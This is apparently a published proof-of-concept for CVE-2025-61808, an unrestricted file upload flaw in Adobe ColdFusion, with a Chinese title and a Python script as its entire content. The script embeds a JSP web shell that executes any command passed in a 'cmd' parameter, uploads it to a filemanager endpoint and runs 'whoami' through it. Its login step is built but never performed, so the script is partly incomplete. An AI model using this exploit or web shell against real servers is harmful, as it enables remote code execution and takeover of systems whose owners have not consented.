CVE-2025-61808 Adobe ColdFusion危险文件类型上传导致RCE漏洞

# CVE-2025-61808 Adobe ColdFusion Unrestricted File Upload PoC # This PoC demonstrates the file upload vulnerability in Adobe ColdFusion # Requires high privileged account access import requests import sys TARGET_URL = "https://target-server/cf_scripts/scripts/ajax/ckeditor/plugins/filemanager/" # Adjust based on actual endpoint USERNAME = "admin" # High privileged user PASSWORD = "password" # Malicious JSP shell for remote code execution MALICIOUS_PAYLOAD = ''' <%@ page import="java.io.*" %> <% String cmd = request.getParameter("cmd"); if(cmd != null) { Process p = Runtime.getRuntime().exec(cmd); OutputStream os = p.getOutputStream(); InputStream in = p.getInputStream(); BufferedReader reader = new BufferedReader(new InputStreamReader(in)); String line; while((line = reader.readLine()) != null) { out.println(line); } } %> ''' def exploit(): print("[+] CVE-2025-61808 Adobe ColdFusion File Upload RCE PoC") print("[*] Target: " + TARGET_URL) # Step 1: Authenticate with high privileged account session = requests.Session() login_url = f"{TARGET_URL.rsplit('/', 2)[0]}/cfide/administrator/login.cfm" # Step 2: Upload malicious file upload_url = f"{TARGET_URL}upload.cfm" # Adjust endpoint as needed files = { 'file': ('shell.jsp', MALICIOUS_PAYLOAD, 'application/octet-stream') } try: response = session.post(upload_url, files=files, timeout=30) if response.status_code == 200: print("[+] Malicious file uploaded successfully!") # Step 3: Execute command via uploaded shell shell_url = f"{TARGET_URL}uploads/shell.jsp" cmd_response = session.get(f"{shell_url}?cmd=whoami") print(f"[+] Command execution result: {cmd_response.text}") else: print("[-] Upload failed. Check endpoint and authentication.") except Exception as e: print(f"[-] Error: {str(e)}") if __name__ == "__main__": exploit()